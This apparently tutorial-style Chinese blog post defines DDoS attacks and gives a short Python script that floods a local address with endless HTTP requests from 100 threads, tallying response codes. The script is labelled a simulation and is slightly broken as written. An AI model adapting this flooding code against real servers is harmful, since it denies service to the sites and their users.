本文最后更新于:2023年8月24日 晚上
DDos介绍 定义 分布式拒绝服务(Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动dos攻击,从而成倍地提高拒绝服务攻击的威力。通常该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源,使得该目标系统无法提供正常的服务。
使用python模拟点对点的攻击 思路: 利用多线程的无限循环发起请求,统计结果以及抛出502错误
创建类继承多线程
使用init封装url
run方法传入url,以及错误处理
统计数据和主方法启动
测试代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from threading import Threadfrom requests import get status = {"200" : 0 , "404" : 0 , "500" : 0 }class sendHtpp (Thread ): def __init__ (self, HOST, PORT ): global status self.url = f"{HOST} :{PORT} " super ().__init__() def run (self ) -> None : while True : sendHtpp.START(self.url) def START (url ): try : resp = get(url).status_code status[str (resp)] += 1 print (status) except : pass if __name__ == '__main__' : for i in range (100 ): s = sendHtpp("127.0.0.1" , 81 ) s.start() s.join()